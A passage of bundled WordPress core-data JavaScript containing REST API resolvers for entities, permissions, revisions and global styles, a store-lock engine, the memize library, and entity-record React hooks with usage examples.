getResolutionsArgs(pageRecords)); }); page++; } while (page <= totalPages); meta = { totalItems: records.length, totalPages: 1 }; } else { records = Object.values(await external_wp_apiFetch_default()({ path })); meta = { totalItems: records.length, totalPages: 1 }; } // If we request fields but the result doesn't contain the fields, // explicitly set these fields as "undefined" // that way we consider the query "fulfilled". if (query._fields) { records = records.map(record => { query._fields.split(',').forEach(field => { if (!record.hasOwnProperty(field)) { record[field] = undefined; } }); return record; }); } registry.batch(() => { dispatch.receiveEntityRecords(kind, name, records, query, false, undefined, meta); // When requesting all fields, the list of results can be used to resolve // the `getEntityRecord` and `canUser` selectors in addition to `getEntityRecords`. // See https://github.com/WordPress/gutenberg/pull/26575 // See https://github.com/WordPress/gutenberg/pull/64504 if (!query?._fields && !query.context) { const targetHints = records.filter(record => record?.[key]).map(record => ({ id: record[key], permissions: getUserPermissionsFromAllowHeader(record?._links?.self?.[0].targetHints.allow) })); const canUserResolutionsArgs = []; const receiveUserPermissionArgs = {}; for (const targetHint of targetHints) { for (const action of ALLOWED_RESOURCE_ACTIONS) { canUserResolutionsArgs.push([action, { kind, name, id: targetHint.id }]); receiveUserPermissionArgs[getUserPermissionCacheKey(action, { kind, name, id: targetHint.id })] = targetHint.permissions[action]; } } dispatch.receiveUserPermissions(receiveUserPermissionArgs); dispatch.finishResolutions('getEntityRecord', getResolutionsArgs(records)); dispatch.finishResolutions('canUser', canUserResolutionsArgs); } dispatch.__unstableReleaseStoreLock(lock); }); } catch (e) { dispatch.__unstableReleaseStoreLock(lock); } }; resolvers_getEntityRecords.shouldInvalidate = (action, kind, name) => { return (action.type === 'RECEIVE_ITEMS' || action.type === 'REMOVE_ITEMS') && action.invalidateCache && kind === action.kind && name === action.name; }; /** * Requests the current theme. */ const resolvers_getCurrentTheme = () => async ({ dispatch, resolveSelect }) => { const activeThemes = await resolveSelect.getEntityRecords('root', 'theme', { status: 'active' }); dispatch.receiveCurrentTheme(activeThemes[0]); }; /** * Requests theme supports data from the index. */ const resolvers_getThemeSupports = forward_resolver('getCurrentTheme'); /** * Requests a preview from the Embed API. * * @param {string} url URL to get the preview for. */ const resolvers_getEmbedPreview = url => async ({ dispatch }) => { try { const embedProxyResponse = await external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)('/oembed/1.0/proxy', { url }) }); dispatch.receiveEmbedPreview(url, embedProxyResponse); } catch (error) { // Embed API 404s if the URL cannot be embedded, so we have to catch the error from the apiRequest here. dispatch.receiveEmbedPreview(url, false); } }; /** * Checks whether the current user can perform the given action on the given * REST resource. * * @param {string} requestedAction Action to check. One of: 'create', 'read', 'update', * 'delete'. * @param {string|Object} resource Entity resource to check. Accepts entity object `{ kind: 'root', name: 'media', id: 1 }` * or REST base as a string - `media`. * @param {?string} id ID of the rest resource to check. */ const resolvers_canUser = (requestedAction, resource, id) => async ({ dispatch, registry, resolveSelect }) => { if (!ALLOWED_RESOURCE_ACTIONS.includes(requestedAction)) { throw new Error(`'${requestedAction}' is not a valid action.`); } const { hasStartedResolution } = registry.select(STORE_NAME); // Prevent resolving the same resource twice. for (const relatedAction of ALLOWED_RESOURCE_ACTIONS) { if (relatedAction === requestedAction) { continue; } const isAlreadyResolving = hasStartedResolution('canUser', [relatedAction, resource, id]); if (isAlreadyResolving) { return; } } let resourcePath = null; if (typeof resource === 'object') { if (!resource.kind || !resource.name) { throw new Error('The entity resource object is not valid.'); } const configs = await resolveSelect.getEntitiesConfig(resource.kind); const entityConfig = configs.find(config => config.name === resource.name && config.kind === resource.kind); if (!entityConfig) { return; } resourcePath = entityConfig.baseURL + (resource.id ? '/' + resource.id : ''); } else { resourcePath = `/wp/v2/${resource}` + (id ? '/' + id : ''); } let response; try { response = await external_wp_apiFetch_default()({ path: resourcePath, method: 'OPTIONS', parse: false }); } catch (error) { // Do nothing if our OPTIONS request comes back with an API error (4xx or // 5xx). The previously determined isAllowed value will remain in the store. return; } // Optional chaining operator is used here because the API requests don't // return the expected result in the React native version. Instead, API requests // only return the result, without including response properties like the headers. const permissions = getUserPermissionsFromAllowHeader(response.headers?.get('allow')); registry.batch(() => { for (const action of ALLOWED_RESOURCE_ACTIONS) { const key = getUserPermissionCacheKey(action, resource, id); dispatch.receiveUserPermission(key, permissions[action]); // Mark related action resolutions as finished. if (action !== requestedAction) { dispatch.finishResolution('canUser', [action, resource, id]); } } }); }; /** * Checks whether the current user can perform the given action on the given * REST resource. * * @param {string} kind Entity kind. * @param {string} name Entity name. * @param {number|string} recordId Record's id. */ const resolvers_canUserEditEntityRecord = (kind, name, recordId) => async ({ dispatch }) => { await dispatch(resolvers_canUser('update', { kind, name, id: recordId })); }; /** * Request autosave data from the REST API. * * @param {string} postType The type of the parent post. * @param {number} postId The id of the parent post. */ const resolvers_getAutosaves = (postType, postId) => async ({ dispatch, resolveSelect }) => { const { rest_base: restBase, rest_namespace: restNamespace = 'wp/v2', supports } = await resolveSelect.getPostType(postType); if (!supports?.autosave) { return; } const autosaves = await external_wp_apiFetch_default()({ path: `/${restNamespace}/${restBase}/${postId}/autosaves?context=edit` }); if (autosaves && autosaves.length) { dispatch.receiveAutosaves(postId, autosaves); } }; /** * Request autosave data from the REST API. * * This resolver exists to ensure the underlying autosaves are fetched via * `getAutosaves` when a call to the `getAutosave` selector is made. * * @param {string} postType The type of the parent post. * @param {number} postId The id of the parent post. */ const resolvers_getAutosave = (postType, postId) => async ({ resolveSelect }) => { await resolveSelect.getAutosaves(postType, postId); }; const resolvers_experimentalGetCurrentGlobalStylesId = () => async ({ dispatch, resolveSelect }) => { const activeThemes = await resolveSelect.getEntityRecords('root', 'theme', { status: 'active' }); const globalStylesURL = activeThemes?.[0]?._links?.['wp:user-global-styles']?.[0]?.href; if (!globalStylesURL) { return; } // Regex matches the ID at the end of a URL or immediately before // the query string. const matches = globalStylesURL.match(/\/(\d+)(?:\?|$)/); const id = matches ? Number(matches[1]) : null; if (id) { dispatch.__experimentalReceiveCurrentGlobalStylesId(id); } }; const resolvers_experimentalGetCurrentThemeBaseGlobalStyles = () => async ({ resolveSelect, dispatch }) => { const currentTheme = await resolveSelect.getCurrentTheme(); // Please adjust the preloaded requests if this changes! const themeGlobalStyles = await external_wp_apiFetch_default()({ path: `/wp/v2/global-styles/themes/${currentTheme.stylesheet}?context=view` }); dispatch.__experimentalReceiveThemeBaseGlobalStyles(currentTheme.stylesheet, themeGlobalStyles); }; const resolvers_experimentalGetCurrentThemeGlobalStylesVariations = () => async ({ resolveSelect, dispatch }) => { const currentTheme = await resolveSelect.getCurrentTheme(); // Please adjust the preloaded requests if this changes! const variations = await external_wp_apiFetch_default()({ path: `/wp/v2/global-styles/themes/${currentTheme.stylesheet}/variations?context=view` }); dispatch.__experimentalReceiveThemeGlobalStyleVariations(currentTheme.stylesheet, variations); }; /** * Fetches and returns the revisions of the current global styles theme. */ const resolvers_getCurrentThemeGlobalStylesRevisions = () => async ({ resolveSelect, dispatch }) => { const globalStylesId = await resolveSelect.__experimentalGetCurrentGlobalStylesId(); const record = globalStylesId ? await resolveSelect.getEntityRecord('root', 'globalStyles', globalStylesId) : undefined; const revisionsURL = record?._links?.['version-history']?.[0]?.href; if (revisionsURL) { const resetRevisions = await external_wp_apiFetch_default()({ url: revisionsURL }); const revisions = resetRevisions?.map(revision => Object.fromEntries(Object.entries(revision).map(([key, value]) => [camelCase(key), value]))); dispatch.receiveThemeGlobalStyleRevisions(globalStylesId, revisions); } }; resolvers_getCurrentThemeGlobalStylesRevisions.shouldInvalidate = action => { return action.type === 'SAVE_ENTITY_RECORD_FINISH' && action.kind === 'root' && !action.error && action.name === 'globalStyles'; }; const resolvers_getBlockPatterns = () => async ({ dispatch }) => { const patterns = await fetchBlockPatterns(); dispatch({ type: 'RECEIVE_BLOCK_PATTERNS', patterns }); }; const resolvers_getBlockPatternCategories = () => async ({ dispatch }) => { const categories = await external_wp_apiFetch_default()({ path: '/wp/v2/block-patterns/categories' }); dispatch({ type: 'RECEIVE_BLOCK_PATTERN_CATEGORIES', categories }); }; const resolvers_getUserPatternCategories = () => async ({ dispatch, resolveSelect }) => { const patternCategories = await resolveSelect.getEntityRecords('taxonomy', 'wp_pattern_category', { per_page: -1, _fields: 'id,name,description,slug', context: 'view' }); const mappedPatternCategories = patternCategories?.map(userCategory => ({ ...userCategory, label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(userCategory.name), name: userCategory.slug })) || []; dispatch({ type: 'RECEIVE_USER_PATTERN_CATEGORIES', patternCategories: mappedPatternCategories }); }; const resolvers_getNavigationFallbackId = () => async ({ dispatch, select, registry }) => { const fallback = await external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)('/wp-block-editor/v1/navigation-fallback', { _embed: true }) }); const record = fallback?._embedded?.self; registry.batch(() => { dispatch.receiveNavigationFallbackId(fallback?.id); if (!record) { return; } // If the fallback is already in the store, don't invalidate navigation queries. // Otherwise, invalidate the cache for the scenario where there were no Navigation // posts in the state and the fallback created one. const existingFallbackEntityRecord = select.getEntityRecord('postType', 'wp_navigation', fallback.id); const invalidateNavigationQueries = !existingFallbackEntityRecord; dispatch.receiveEntityRecords('postType', 'wp_navigation', record, undefined, invalidateNavigationQueries); // Resolve to avoid further network requests. dispatch.finishResolution('getEntityRecord', ['postType', 'wp_navigation', fallback.id]); }); }; const resolvers_getDefaultTemplateId = query => async ({ dispatch, registry, resolveSelect }) => { const template = await external_wp_apiFetch_default()({ path: (0,external_wp_url_namespaceObject.addQueryArgs)('/wp/v2/templates/lookup', query) }); // Wait for the the entities config to be loaded, otherwise receiving // the template as an entity will not work. await resolveSelect.getEntitiesConfig('postType'); // Endpoint may return an empty object if no template is found. if (template?.id) { registry.batch(() => { dispatch.receiveDefaultTemplateId(query, template.id); dispatch.receiveEntityRecords('postType', 'wp_template', [template]); // Avoid further network requests. dispatch.finishResolution('getEntityRecord', ['postType', 'wp_template', template.id]); }); } }; /** * Requests an entity's revisions from the REST API. * * @param {string} kind Entity kind. * @param {string} name Entity name. * @param {number|string} recordKey The key of the entity record whose revisions you want to fetch. * @param {Object|undefined} query Optional object of query parameters to * include with request. If requesting specific * fields, fields must always include the ID. */ const resolvers_getRevisions = (kind, name, recordKey, query = {}) => async ({ dispatch, registry, resolveSelect }) => { const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.name === name && config.kind === kind); if (!entityConfig) { return; } if (query._fields) { // If requesting specific fields, items and query association to said // records are stored by ID reference. Thus, fields must always include // the ID. query = { ...query, _fields: [...new Set([...(get_normalized_comma_separable(query._fields) || []), entityConfig.revisionKey || DEFAULT_ENTITY_KEY])].join() }; } const path = (0,external_wp_url_namespaceObject.addQueryArgs)(entityConfig.getRevisionsUrl(recordKey), query); let records, response; const meta = {}; const isPaginated = entityConfig.supportsPagination && query.per_page !== -1; try { response = await external_wp_apiFetch_default()({ path, parse: !isPaginated }); } catch (error) { // Do nothing if our request comes back with an API error. return; } if (response) { if (isPaginated) { records = Object.values(await response.json()); meta.totalItems = parseInt(response.headers.get('X-WP-Total')); } else { records = Object.values(response); } // If we request fields but the result doesn't contain the fields, // explicitly set these fields as "undefined" // that way we consider the query "fulfilled". if (query._fields) { records = records.map(record => { query._fields.split(',').forEach(field => { if (!record.hasOwnProperty(field)) { record[field] = undefined; } }); return record; }); } registry.batch(() => { dispatch.receiveRevisions(kind, name, recordKey, records, query, false, meta); // When requesting all fields, the list of results can be used to // resolve the `getRevision` selector in addition to `getRevisions`. if (!query?._fields && !query.context) { const key = entityConfig.key || DEFAULT_ENTITY_KEY; const resolutionsArgs = records.filter(record => record[key]).map(record => [kind, name, recordKey, record[key]]); dispatch.finishResolutions('getRevision', resolutionsArgs); } }); } }; // Invalidate cache when a new revision is created. resolvers_getRevisions.shouldInvalidate = (action, kind, name, recordKey) => action.type === 'SAVE_ENTITY_RECORD_FINISH' && name === action.name && kind === action.kind && !action.error && recordKey === action.recordId; /** * Requests a specific Entity revision from the REST API. * * @param {string} kind Entity kind. * @param {string} name Entity name. * @param {number|string} recordKey The key of the entity record whose revisions you want to fetch. * @param {number|string} revisionKey The revision's key. * @param {Object|undefined} query Optional object of query parameters to * include with request. If requesting specific * fields, fields must always include the ID. */ const resolvers_getRevision = (kind, name, recordKey, revisionKey, query) => async ({ dispatch, resolveSelect }) => { const configs = await resolveSelect.getEntitiesConfig(kind); const entityConfig = configs.find(config => config.name === name && config.kind === kind); if (!entityConfig) { return; } if (query !== undefined && query._fields) { // If requesting specific fields, items and query association to said // records are stored by ID reference. Thus, fields must always include // the ID. query = { ...query, _fields: [...new Set([...(get_normalized_comma_separable(query._fields) || []), entityConfig.revisionKey || DEFAULT_ENTITY_KEY])].join() }; } const path = (0,external_wp_url_namespaceObject.addQueryArgs)(entityConfig.getRevisionsUrl(recordKey, revisionKey), query); let record; try { record = await external_wp_apiFetch_default()({ path }); } catch (error) { // Do nothing if our request comes back with an API error. return; } if (record) { dispatch.receiveRevisions(kind, name, recordKey, record, query); } }; /** * Requests a specific post type options from the REST API. * * @param {string} postType Post type slug. */ const resolvers_getRegisteredPostMeta = postType => async ({ dispatch, resolveSelect }) => { let options; try { const { rest_namespace: restNamespace = 'wp/v2', rest_base: restBase } = (await resolveSelect.getPostType(postType)) || {}; options = await external_wp_apiFetch_default()({ path: `${restNamespace}/${restBase}/?context=edit`, method: 'OPTIONS' }); } catch (error) { // Do nothing if the request comes back with an API error. return; } if (options) { dispatch.receiveRegisteredPostMeta(postType, options?.schema?.properties?.meta?.properties); } }; /** * Requests entity configs for the given kind from the REST API. * * @param {string} kind Entity kind. */ const resolvers_getEntitiesConfig = kind => async ({ dispatch }) => { const loader = additionalEntityConfigLoaders.find(l => l.kind === kind); if (!loader) { return; } try { const configs = await loader.loadEntities(); if (!configs.length) { return; } dispatch.addEntities(configs); } catch { // Do nothing if the request comes back with an API error. } }; ;// ./node_modules/@wordpress/core-data/build-module/locks/utils.js function deepCopyLocksTreePath(tree, path) { const newTree = { ...tree }; let currentNode = newTree; for (const branchName of path) { currentNode.children = { ...currentNode.children, [branchName]: { locks: [], children: {}, ...currentNode.children[branchName] } }; currentNode = currentNode.children[branchName]; } return newTree; } function getNode(tree, path) { let currentNode = tree; for (const branchName of path) { const nextNode = currentNode.children[branchName]; if (!nextNode) { return null; } currentNode = nextNode; } return currentNode; } function* iteratePath(tree, path) { let currentNode = tree; yield currentNode; for (const branchName of path) { const nextNode = currentNode.children[branchName]; if (!nextNode) { break; } yield nextNode; currentNode = nextNode; } } function* iterateDescendants(node) { const stack = Object.values(node.children); while (stack.length) { const childNode = stack.pop(); yield childNode; stack.push(...Object.values(childNode.children)); } } function hasConflictingLock({ exclusive }, locks) { if (exclusive && locks.length) { return true; } if (!exclusive && locks.filter(lock => lock.exclusive).length) { return true; } return false; } ;// ./node_modules/@wordpress/core-data/build-module/locks/reducer.js /** * Internal dependencies */ const DEFAULT_STATE = { requests: [], tree: { locks: [], children: {} } }; /** * Reducer returning locks. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function locks(state = DEFAULT_STATE, action) { switch (action.type) { case 'ENQUEUE_LOCK_REQUEST': { const { request } = action; return { ...state, requests: [request, ...state.requests] }; } case 'GRANT_LOCK_REQUEST': { const { lock, request } = action; const { store, path } = request; const storePath = [store, ...path]; const newTree = deepCopyLocksTreePath(state.tree, storePath); const node = getNode(newTree, storePath); node.locks = [...node.locks, lock]; return { ...state, requests: state.requests.filter(r => r !== request), tree: newTree }; } case 'RELEASE_LOCK': { const { lock } = action; const storePath = [lock.store, ...lock.path]; const newTree = deepCopyLocksTreePath(state.tree, storePath); const node = getNode(newTree, storePath); node.locks = node.locks.filter(l => l !== lock); return { ...state, tree: newTree }; } } return state; } ;// ./node_modules/@wordpress/core-data/build-module/locks/selectors.js /** * Internal dependencies */ function getPendingLockRequests(state) { return state.requests; } function isLockAvailable(state, store, path, { exclusive }) { const storePath = [store, ...path]; const locks = state.tree; // Validate all parents and the node itself for (const node of iteratePath(locks, storePath)) { if (hasConflictingLock({ exclusive }, node.locks)) { return false; } } // iteratePath terminates early if path is unreachable, let's // re-fetch the node and check it exists in the tree. const node = getNode(locks, storePath); if (!node) { return true; } // Validate all nested nodes for (const descendant of iterateDescendants(node)) { if (hasConflictingLock({ exclusive }, descendant.locks)) { return false; } } return true; } ;// ./node_modules/@wordpress/core-data/build-module/locks/engine.js /** * Internal dependencies */ function createLocks() { let state = locks(undefined, { type: '@@INIT' }); function processPendingLockRequests() { for (const request of getPendingLockRequests(state)) { const { store, path, exclusive, notifyAcquired } = request; if (isLockAvailable(state, store, path, { exclusive })) { const lock = { store, path, exclusive }; state = locks(state, { type: 'GRANT_LOCK_REQUEST', lock, request }); notifyAcquired(lock); } } } function acquire(store, path, exclusive) { return new Promise(resolve => { state = locks(state, { type: 'ENQUEUE_LOCK_REQUEST', request: { store, path, exclusive, notifyAcquired: resolve } }); processPendingLockRequests(); }); } function release(lock) { state = locks(state, { type: 'RELEASE_LOCK', lock }); processPendingLockRequests(); } return { acquire, release }; } ;// ./node_modules/@wordpress/core-data/build-module/locks/actions.js /** * Internal dependencies */ function createLocksActions() { const locks = createLocks(); function __unstableAcquireStoreLock(store, path, { exclusive }) { return () => locks.acquire(store, path, exclusive); } function __unstableReleaseStoreLock(lock) { return () => locks.release(lock); } return { __unstableAcquireStoreLock, __unstableReleaseStoreLock }; } ;// ./node_modules/@wordpress/core-data/build-module/dynamic-entities.js /** * Internal dependencies */ /** * A simple utility that pluralizes a string. * Converts: * - "post" to "posts" * - "taxonomy" to "taxonomies" * - "media" to "mediaItems" * - "status" to "statuses" * * It does not pluralize "GlobalStyles" due to lack of clarity about it at time of writing. */ /** * A simple utility that singularizes a string. * * Converts: * - "posts" to "post" * - "taxonomies" to "taxonomy" * - "mediaItems" to "media" * - "statuses" to "status" */ let dynamicActions; let dynamicSelectors; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// ./node_modules/@wordpress/core-data/build-module/entity-context.js /** * WordPress dependencies */ const EntityContext = (0,external_wp_element_namespaceObject.createContext)({}); ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/core-data/build-module/entity-provider.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Context provider component for providing * an entity for a specific entity. * * @param {Object} props The component's props. * @param {string} props.kind The entity kind. * @param {string} props.type The entity name. * @param {number} props.id The entity ID. * @param {*} props.children The children to wrap. * * @return {Object} The provided children, wrapped with * the entity's context provider. */ function EntityProvider({ kind, type: name, id, children }) { const parent = (0,external_wp_element_namespaceObject.useContext)(EntityContext); const childContext = (0,external_wp_element_namespaceObject.useMemo)(() => ({ ...parent, [kind]: { ...parent?.[kind], [name]: id } }), [parent, kind, name, id]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EntityContext.Provider, { value: childContext, children: children }); } ;// ./node_modules/memize/dist/index.js /** * Memize options object. * * @typedef MemizeOptions * * @property {number} [maxSize] Maximum size of the cache. */ /** * Internal cache entry. * * @typedef MemizeCacheNode * * @property {?MemizeCacheNode|undefined} [prev] Previous node. * @property {?MemizeCacheNode|undefined} [next] Next node. * @property {Array<*>} args Function arguments for cache * entry. * @property {*} val Function result. */ /** * Properties of the enhanced function for controlling cache. * * @typedef MemizeMemoizedFunction * * @property {()=>void} clear Clear the cache. */ /** * Accepts a function to be memoized, and returns a new memoized function, with * optional options. * * @template {(...args: any[]) => any} F * * @param {F} fn Function to memoize. * @param {MemizeOptions} [options] Options object. * * @return {((...args: Parameters<F>) => ReturnType<F>) & MemizeMemoizedFunction} Memoized function. */ function memize(fn, options) { var size = 0; /** @type {?MemizeCacheNode|undefined} */ var head; /** @type {?MemizeCacheNode|undefined} */ var tail; options = options || {}; function memoized(/* ...args */) { var node = head, len = arguments.length, args, i; searchCache: while (node) { // Perform a shallow equality test to confirm that whether the node // under test is a candidate for the arguments passed. Two arrays // are shallowly equal if their length matches and each entry is // strictly equal between the two sets. Avoid abstracting to a // function which could incur an arguments leaking deoptimization. // Check whether node arguments match arguments length if (node.args.length !== arguments.length) { node = node.next; continue; } // Check whether node arguments match arguments values for (i = 0; i < len; i++) { if (node.args[i] !== arguments[i]) { node = node.next; continue searchCache; } } // At this point we can assume we've found a match // Surface matched node to head if not already if (node !== head) { // As tail, shift to previous. Must only shift if not also // head, since if both head and tail, there is no previous. if (node === tail) { tail = node.prev; } // Adjust siblings to point to each other. If node was tail, // this also handles new tail's empty `next` assignment. /** @type {MemizeCacheNode} */ (node.prev).next = node.next; if (node.next) { node.next.prev = node.prev; } node.next = head; node.prev = null; /** @type {MemizeCacheNode} */ (head).prev = node; head = node; } // Return immediately return node.val; } // No cached value found. Continue to insertion phase: // Create a copy of arguments (avoid leaking deoptimization) args = new Array(len); for (i = 0; i < len; i++) { args[i] = arguments[i]; } node = { args: args, // Generate the result from original function val: fn.apply(null, args), }; // Don't need to check whether node is already head, since it would // have been returned above already if it was // Shift existing head down list if (head) { head.prev = node; node.next = head; } else { // If no head, follows that there's no tail (at initial or reset) tail = node; } // Trim tail if we're reached max size and are pending cache insertion if (size === /** @type {MemizeOptions} */ (options).maxSize) { tail = /** @type {MemizeCacheNode} */ (tail).prev; /** @type {MemizeCacheNode} */ (tail).next = null; } else { size++; } head = node; return node.val; } memoized.clear = function () { head = null; tail = null; size = 0; }; // Ignore reason: There's not a clear solution to create an intersection of // the function with additional properties, where the goal is to retain the // function signature of the incoming argument and add control properties // on the return value. // @ts-ignore return memoized; } ;// ./node_modules/@wordpress/core-data/build-module/hooks/memoize.js /** * External dependencies */ // re-export due to restrictive esModuleInterop setting /* harmony default export */ const memoize = (memize); ;// ./node_modules/@wordpress/core-data/build-module/hooks/constants.js let Status = /*#__PURE__*/function (Status) { Status["Idle"] = "IDLE"; Status["Resolving"] = "RESOLVING"; Status["Error"] = "ERROR"; Status["Success"] = "SUCCESS"; return Status; }({}); ;// ./node_modules/@wordpress/core-data/build-module/hooks/use-query-select.js /** * WordPress dependencies */ /** * Internal dependencies */ const META_SELECTORS = ['getIsResolving', 'hasStartedResolution', 'hasFinishedResolution', 'isResolving', 'getCachedResolvers']; /** * Like useSelect, but the selectors return objects containing * both the original data AND the resolution info. * * @since 6.1.0 Introduced in WordPress core. * @private * * @param {Function} mapQuerySelect see useSelect * @param {Array} deps see useSelect * * @example * ```js * import { useQuerySelect } from '@wordpress/data'; * import { store as coreDataStore } from '@wordpress/core-data'; * * function PageTitleDisplay( { id } ) { * const { data: page, isResolving } = useQuerySelect( ( query ) => { * return query( coreDataStore ).getEntityRecord( 'postType', 'page', id ) * }, [ id ] ); * * if ( isResolving ) { * return 'Loading...'; * } * * return page.title; * } * * // Rendered in the application: * // <PageTitleDisplay id={ 10 } /> * ``` * * In the above example, when `PageTitleDisplay` is rendered into an * application, the page and the resolution details will be retrieved from * the store state using the `mapSelect` callback on `useQuerySelect`. * * If the id prop changes then any page in the state for that id is * retrieved. If the id prop doesn't change and other props are passed in * that do change, the title will not change because the dependency is just * the id. * @see useSelect * * @return {QuerySelectResponse} Queried data. */ function useQuerySelect(mapQuerySelect, deps) { return (0,external_wp_data_namespaceObject.useSelect)((select, registry) => { const resolve = store => enrichSelectors(select(store)); return mapQuerySelect(resolve, registry); }, deps); } /** * Transform simple selectors into ones that return an object with the * original return value AND the resolution info. * * @param {Object} selectors Selectors to enrich * @return {EnrichedSelectors} Enriched selectors */ const enrichSelectors = memoize(selectors => { const resolvers = {}; for (const selectorName in selectors) { if (META_SELECTORS.includes(selectorName)) { continue; } Object.defineProperty(resolvers, selectorName, { get: () => (...args) => { const data = selectors[selectorName](...args); const resolutionStatus = selectors.getResolutionState(selectorName, args)?.status; let status; switch (resolutionStatus) { case 'resolving': status = Status.Resolving; break; case 'finished': status = Status.Success; break; case 'error': status = Status.Error; break; case undefined: status = Status.Idle; break; } return { data, status, isResolving: status === Status.Resolving, hasStarted: status !== Status.Idle, hasResolved: status === Status.Success || status === Status.Error }; } }); } return resolvers; }); ;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-record.js /** * WordPress dependencies */ /** * Internal dependencies */ const use_entity_record_EMPTY_OBJECT = {}; /** * Resolves the specified entity record. * * @since 6.1.0 Introduced in WordPress core. * * @param kind Kind of the entity, e.g. `root` or a `postType`. See rootEntitiesConfig in ../entities.ts for a list of available kinds. * @param name Name of the entity, e.g. `plugin` or a `post`. See rootEntitiesConfig in ../entities.ts for a list of available names. * @param recordId ID of the requested entity record. * @param options Optional hook options. * @example * ```js * import { useEntityRecord } from '@wordpress/core-data'; * * function PageTitleDisplay( { id } ) { * const { record, isResolving } = useEntityRecord( 'postType', 'page', id ); * * if ( isResolving ) { * return 'Loading...'; * } * * return record.title; * } * * // Rendered in the application: * // <PageTitleDisplay id={ 1 } /> * ``` * * In the above example, when `PageTitleDisplay` is rendered into an * application, the page and the resolution details will be retrieved from * the store state using `getEntityRecord()`, or resolved if missing. * * @example * ```js * import { useCallback } from 'react'; * import { useDispatch } from '@wordpress/data'; * import { __ } from '@wordpress/i18n'; * import { TextControl } from '@wordpress/components'; * import { store as noticeStore } from '@wordpress/notices'; * import { useEntityRecord } from '@wordpress/core-data'; * * function PageRenameForm( { id } ) { * const page = useEntityRecord( 'postType', 'page', id ); * const { createSuccessNotice, createErrorNotice } = * useDispatch( noticeStore ); * * const setTitle = useCallback( ( title ) => { * page.edit( { title } ); * }, [ page.edit ] ); * * if ( page.isResolving ) { * return 'Loading...'; * } * * async function onRename( event ) { * event.preventDefault(); * try { * await page.save(); * createSuccessNotice( __( 'Page renamed.' ), { * type: 'snackbar', * } ); * } catch ( error ) { * createErrorNotice( error.message, { type: 'snackbar' } ); * } * } * * return ( * <form onSubmit={ onRename }> * <TextControl * __nextHasNoMarginBottom * __next40pxDefaultSize * label={ __( 'Name' ) } * value={ page.editedRecord.title } * onChange={ setTitle } * /> * <button type="submit">{ __( 'Save' ) }</button> * </form> * ); * } * * // Rendered in the application: * // <PageRenameForm id={ 1 } /> * ``` * * In the above example, updating and saving the page title is handled * via the `edit()` and `save()` mutation helpers provided by * `useEntityRecord()`; * * @return Entity record data. * @template RecordType */ function useEntityRecord(kind, name, recordId, options = { enabled: true }) { const { editEntityRecord, saveEditedEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(store); const mutations = (0,external_wp_element_namespaceObject.useMemo)(() => ({ edit: (record, editOptions = {}) => editEntityRecord(kind, name, recordId, record, editOptions), save: (saveOptions = {}) => saveEditedEntityRecord(kind, name, recordId, { throwOnError: true, ...saveOptions }) }), [editEntityRecord, kind, name, recordId, saveEditedEntityRecord]); const { editedRecord, hasEdits, edits } = (0,external_wp_data_namespaceObject.useSelect)(select => { if (!options.enabled) { return { editedRecord: use_entity_record_EMPTY_OBJECT, hasEdits: false, edits: use_entity_record_EMPTY_OBJECT }; } return { editedRecord: select(store).getEditedEntityRecord(kind, name, recordId), hasEdits: select(store).hasEditsForEntityRecord(kind, name, recordId), edits: select(store).getEntityRecordNonTransientEdits(kind, name, recordId) }; }, [kind, name, recordId, options.enabled]); const { data: record, ...querySelectRest } = useQuerySelect(query => { if (!options.enabled) { return { data: null }; } return query(store).getEntityRecord(kind, name, recordId); }, [kind, name, recordId, options.enabled]); return { record, editedRecord, hasEdits, edits, ...querySelectRest, ...mutations }; } function __experimentalUseEntityRecord(kind, name, recordId, options) { external_wp_deprecated_default()(`wp.data.__experimentalUseEntityRecord`, { alternative: 'wp.data.useEntityRecord', since: '6.1' }); return useEntityRecord(kind, name, recordId, options); } ;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-records.js /** * WordPress dependencies */ /** * Internal dependencies */ const EMPTY_ARRAY = []; /** * Resolves the specified entity records. * * @since 6.1.0 Introduced in WordPress core. * * @param kind Kind of the entity, e.g. `root` or a `postType`. See rootEntitiesConfig in ../entities.ts for a list of available kinds. * @param name Name of the entity, e.g. `plugin` or a `post`. See rootEntitiesConfig in ../entities.ts for a list of available names. * @param queryArgs Optional HTTP query description for how to fetch the data, passed to the requested API endpoint. * @param options Optional hook options. * @example * ```js * import { useEntityRecords } from '@wordpress/core-data'; * * function PageTitlesList() { * const { records, isResolving } = useEntityRecords( 'postType', 'page' ); * * if ( isResolving ) { * return 'Loading...'; * } * * return ( * <ul> * {records.map(( page ) => ( * <li>{ page.title }</li> * ))} * </ul> * ); * } * * // Rendered in the application: * // <PageTitlesList /> * ``` * * In the above example, when `PageTitlesList` is rendered into an * application, the list of records and the resolution details will be retrieved from * the store state using `getEntityRecords()`, or resolved if missing. * * @return Entity records data. * @template RecordType */ function useEntityRecords(kind, name, queryArgs = {}, options = { enabled: true }) { // Serialize queryArgs to a string that can be safely used as a React dep. // We can't just pass queryArgs as one of the deps, because if it is passed // as an object literal, then it will be a different object on each call even // if the values remain the same. const queryAsString = (0,external_wp_url_namespaceObject.addQueryArgs)('', queryArgs); const { data: records, ...rest } = useQuerySelect(query => { if (!options.enabled) { return { // Avoiding returning a new reference on every execution. data: EMPTY_ARRAY }; } return query(store).getEntityRecords(kind, name, queryArgs); }, [kind, name, queryAsString, options.enabled]); const { totalItems, totalPages } = (0,external_wp_data_namespaceObject.useSelect)(select => { if (!options.enabled) { return { totalItems: null, totalPages: null }; } return { totalItems: select(store).getEntityRecordsTotalItems(kind, name, queryArgs), totalPages: select(store).getEntityRecordsTotalPages(kind, name, queryArgs) }; }, [kind, name, queryAsString, options.enabled]); return { records, totalItems, totalPages, ...rest }; } function __experimentalUseEntityRecords(kind, name, queryArgs, options) { external_wp_deprecated_default()(`wp.data.__experimentalUseEntityRecords`, { alternative: 